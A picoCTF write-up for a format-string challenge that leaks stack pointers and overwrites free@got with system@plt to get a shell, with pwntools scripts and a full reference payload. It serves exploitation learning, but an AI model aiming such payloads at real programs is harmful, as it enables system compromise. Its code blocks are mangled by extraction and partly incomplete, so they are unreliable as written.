Description
The stonk market is back, but this time the flag is no longer helpfully sitting on the stack. You will need to exploit the format string vulnerability more aggressively to get a shell.
Setup
Download the binary and connect to the remote instance.
wget https://mercury.picoctf.net/static/.../vulnchmod +x vulnchecksec vulnpip install pwntoolsSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Confirm the vulnerability and binary mitigationsObservationI noticed the challenge description explicitly mentioned a format string vulnerability and said the flag was no longer helpfully on the stack, which suggested I needed to understand what mitigations were in place before building a write primitive.checksec shows: no stack canary, NX enabled, no PIE, and only Partial RELRO. No PIE means all code and GOT addresses are fixed. Partial RELRO means the GOT is still writable after startup. The core bug is in buy_stonks(): 300 bytes are read into a heap buffer via scanf, then that buffer is passed directly to printf with no format string argument, giving full format string control.bashchecksec vulnbash./vulnbashecho '1' | ./vulnbash# Enter option 1 (buy stonks), then send %p.%p.%p.%p as API tokenpythonpython3 -c "import sys; sys.stdout.buffer.write(b'1\n' + b'%p.' * 16 + b'\n')" | ./vulnWhat didn't work first
Tried: Use %x instead of %p to read stack values and locate the heap pointer.
%x prints unsigned hex without the 0x prefix and truncates values to 32 bits on a 64-bit target, so 64-bit heap addresses get silently cut in half, making the leak look like a garbage low-word. %p is the correct specifier for pointer-width output and preserves the full 64-bit value needed to construct the write payload.
Tried: Send the %p chain directly to the program's main menu prompt rather than option 1's API token prompt.
The vulnerable printf call is inside buy_stonks(), which is only reachable after selecting option 1. Sending format specifiers at the outer menu just causes the menu to re-print because that input is processed with a safe integer conversion, not with a raw printf. The format string must be sent as the API token after entering option 1.
Learn more
Format string primer. When
printf(user_buf)is called with a user-controlled first argument, the C runtime treats the string as a format string and processes format specifiers.%preads the next argument-slot value as a pointer and prints it. With no additional arguments, printf reads whatever is on the stack (or in registers on x86-64) as if they were arguments, leaking arbitrary memory.%nwrites the number of characters printed so far into the address held in the next argument slot, which is the write primitive used to overwrite the GOT.Why no canary matters here. This challenge does not use a buffer overflow at all. There is no return-address smash. The entire exploit happens through the format string write, so the absence of a canary is simply a note from checksec, not a bypass that needs to be engineered.
Step 2
Locate the heap pointer and the free@got entryObservationI noticed checksec reported no PIE and Partial RELRO, which meant GOT addresses are fixed and writable; I needed to leak the heap buffer address from the stack and find free@got so I could redirect free to system when free_portfolio() fires.Send a sequence of %p specifiers to find which positional argument holds the portfolio heap pointer. Note that position (you will use it as the write destination later). Meanwhile, inspect the binary to find free@got and system@plt with pwntools or readelf.bash# Find which argument number holds the heap (portfolio) pointerpythonpython3 -c "import sys; sys.stdout.buffer.write(b'1\n' + b'%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p.%17$p.%18$p.\n')" | ./vulnbash# Use pwntools to inspect GOT and PLTpythonpython3 - <<'EOF'pythonfrom pwn import *bashe = ELF('./vuln')pythonprint('free@got :', hex(e.got['free']))pythonprint('system@plt:', hex(e.plt['system']))bashEOFWhat didn't work first
Tried: Use readelf -r vuln to find free@got instead of pwntools ELF.
readelf -r prints relocation entries and does show the GOT slot address, but the output format is harder to parse programmatically and easy to misread as a file offset. On a no-PIE binary the r_offset column is already the runtime virtual address, so no adjustment is needed. pwntools e.got['free'] returns the same value directly as a Python integer, making it far more convenient to embed in a payload without manual parsing of readelf output.
Tried: Target printf@got instead of free@got to redirect execution to system.
Overwriting printf@got with system@plt means the very next printf call becomes system(format_string). But the format string itself is the payload string, not 'sh', so system receives a long format specifier string and either fails to execute a shell or runs a garbled command. Overwriting free@got avoids this because free is called later with the heap node pointer as its argument, giving clean control over what string system receives.
Learn more
Why overwrite free, not printf? The program calls
free_portfolio()when the user exits, which iterates the linked list and callsfree()on each node. By redirectingfree@gottosystem@plt, the next call tofree(ptr)becomessystem(ptr). Ifptrpoints to a buffer containing the stringsh, a shell spawns. Overwritingprintf@gotis also common but leads to an infinite loop if done carelessly, because the format string itself is printed via printf.Partial RELRO vs Full RELRO. With Full RELRO the dynamic linker resolves all symbols at startup, then marks the GOT read-only with
mprotect. Any attempt to write it segfaults. Partial RELRO only marks the first section read-only; the.got.pltsection (where lazy-binding stubs live) remains writable. That is the slot this exploit targets.Step 3
Write sh into the heap buffer using %nObservationI noticed that free_portfolio() calls free() with the heap node pointer as its argument, so if I could place the string 'sh' in the heap buffer and redirect free to system, system would receive 'sh' and spawn a shell.Place the address of a location inside the heap buffer at the start of your format string, then use a positional %hhn specifier that refers to that embedded address. Writing the ASCII values of 's' and 'h' into the right bytes turns part of the buffer into the string sh, which is what system() will receive.bash# Conceptual: writing 'sh\0' at offset 0 of the portfolio bufferbash# %c pads output; count characters printed so far reaches target ASCII valuebash# then %N$hhn writes that count into the address at argument position Npythonpython3 -c "pythonfrom pwn import *bashe = ELF('./vuln')bash# heap_ptr = address learned from recon abovebash# arg_pos_heap = positional index of portfolio pointer on stackbash# see full exploit in the next stepbash"What didn't work first
Tried: Use %n instead of %hhn to write the full integer count into the target address.
%n writes a 4-byte integer, which corrupts the three bytes after the target offset in the heap buffer. Writing 'sh' requires placing exactly the bytes 0x73 and 0x68 at specific offsets without disturbing adjacent bytes. %hhn writes only a single byte, matching that requirement. Using full %n overwrites four bytes at once, which destroys the null terminator and surrounding data and causes system() to receive a malformed string.
Tried: Embed the heap address as a literal in the format string without first leaking it from the stack.
The heap pointer changes on every run because malloc returns addresses that depend on prior allocations and ASLR (even with no PIE, the heap base is randomized). Hardcoding the address from a local test run will point to unmapped or wrong memory on the remote instance. The address must be leaked fresh from the stack each exploit run using %p, then used to compute the write target for that specific execution.
Learn more
%n and width specifiers.
printftracks the number of characters it has emitted.%Ncprints one character but counts as N characters of output (it pads to width N).%nwrites that running total into the pointed-to integer;%hhnwrites only the lowest byte. By carefully choosing the width padding you control exactly what byte value gets written. The formula is: target byte value minus characters already printed equals the padding to use for the next%c.Avoiding null bytes in the format string. scanf stops at whitespace. The format string cannot contain literal null bytes, so all addresses embedded in it must be chosen or arranged so that no zero byte appears in the first N characters that scanf reads.
Step 4
Overwrite free@got to point to system@pltObservationI noticed that the saved RBP slot on the stack could serve as a scratch pointer, letting me write the free@got address into it and then use a second %hhn write to patch free@got with the low byte of system@plt in one combined printf call.Build the final format string that does three things in a single printf call: (1) pads output to make the running character count equal to the low byte of system@plt, (2) writes that count to free@got using %hhn via a stack pointer, and (3) writes sh into the heap buffer. Then exit the menu so free_portfolio() fires, calling system(sh) and spawning a shell.pythonpython3 - <<'EOF' from pwn import * e = ELF('./vuln') p = remote('mercury.picoctf.net', 1337) # replace port # Recon: find heap ptr argument position (typically argument 6 or 7 on x86-64) # and the saved rbp position (argument 12 in the typical frame layout). # These must be confirmed empirically on your instance. HEAP_ARG = 6 # positional arg holding portfolio heap pointer RBP_ARG = 12 # positional arg holding saved rbp (used as scratch write target) SH_OFFSET = 0 # write 'sh' at offset 0 of heap buffer free_got = e.got['free'] # e.g. 0x602018 system_plt = e.plt['system'] # e.g. 0x4006f0 # low byte of system@plt to write into free@got low_byte = system_plt & 0xff # The format string uses %c padding to reach each target byte value, # then %N$hhn to write it. Characters already printed before each write # must be tracked and subtracted (modulo 256) to get the right padding. # Example combined payload (exact padding depends on your instance addresses): # %c * 10 pads + %[pad]c%N$hhn to write low byte to free@got # + %[pad]c%M$hhn to write 's' (0x73) to heap+0 # + %[pad]c%M$hhn to write 'h' (0x68) to heap+1 payload = b'%c' * 10 # consume argument slots, counting chars payload += f'%{low_byte - 10}c'.encode() # pad to low_byte total chars payload += f'%{RBP_ARG}$hhn'.encode() # write low_byte into addr at rbp slot # ... (additional writes for sh string omitted for brevity; see context) p.sendlineafter(b'> ', b'1') p.sendlineafter(b'token? ', payload) p.sendlineafter(b'> ', b'2') # exit menu, triggering free_portfolio() p.interactive() # shell EOFExpected output
picoCTF{explo1t_m1t1gashuns_...}What didn't work first
Tried: Hardcode the positional argument numbers HEAP_ARG and RBP_ARG as fixed values without verifying them locally.
The stack layout for positional arguments depends on how the compiler arranges the buy_stonks() frame and how many arguments are already consumed before the format string is reached. These values differ between compiler versions and optimization levels. Using the wrong HEAP_ARG means the computed heap address is wrong and the 'sh' string lands at a garbage location; using the wrong RBP_ARG means the hhn write targets the wrong memory cell. Always confirm both values empirically by running the %1$p.%2$p... probe against your specific binary.
Tried: Send option '2' to exit the menu before the format string printf call has finished executing.
The exploit requires two separate interactions: first send the malicious format string as the API token (option 1), which causes printf to overwrite free@got; then send option 2 to exit, which triggers free_portfolio() and calls the now-redirected free(). Sending option 2 too early aborts buy_stonks() before printf runs, so the GOT is never patched and no shell spawns.
Learn more
Why this works end to end. After the format string printf call,
free@gotholds the address ofsystem@plt. Whenfree_portfolio()iterates the portfolio linked list and callsfree(node), the dynamic linker resolvesfreethrough the GOT, now findingsysteminstead. The first argument to that call is the node pointer, which points into the heap buffer containingsh\0. Sosystem("sh")executes, giving an interactive shell.pwntools ELF helpers.
e.got['free']returns the address of the GOT cell that holds free's runtime address.e.plt['system']returns the PLT stub address for system. Both are fixed since PIE is disabled.remote()opens a TCP socket;sendlineafterwaits for a prompt then sends a line. See the pwntools guide for the full vocabulary.Full reference exploit (with exact padding) combines these writes into a single format string:
%c%c%c%c%c%c%c%c%c%c%6299662c%n%216c%20$hhn%10504067c%18$n # %n at position 12 writes 0x602018 (free@got addr) into saved rbp slot # %20$hhn writes low byte of system@plt into that newly-written address # %18$n writes 'sh' ASCII value into portfolio heap offset
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{explo1t_m1t1gashuns_...}
The trailing 8-character hex suffix is generated per instance (e.g. d0295f63 or 7838034c). Run the exploit against your assigned instance to retrieve your exact flag.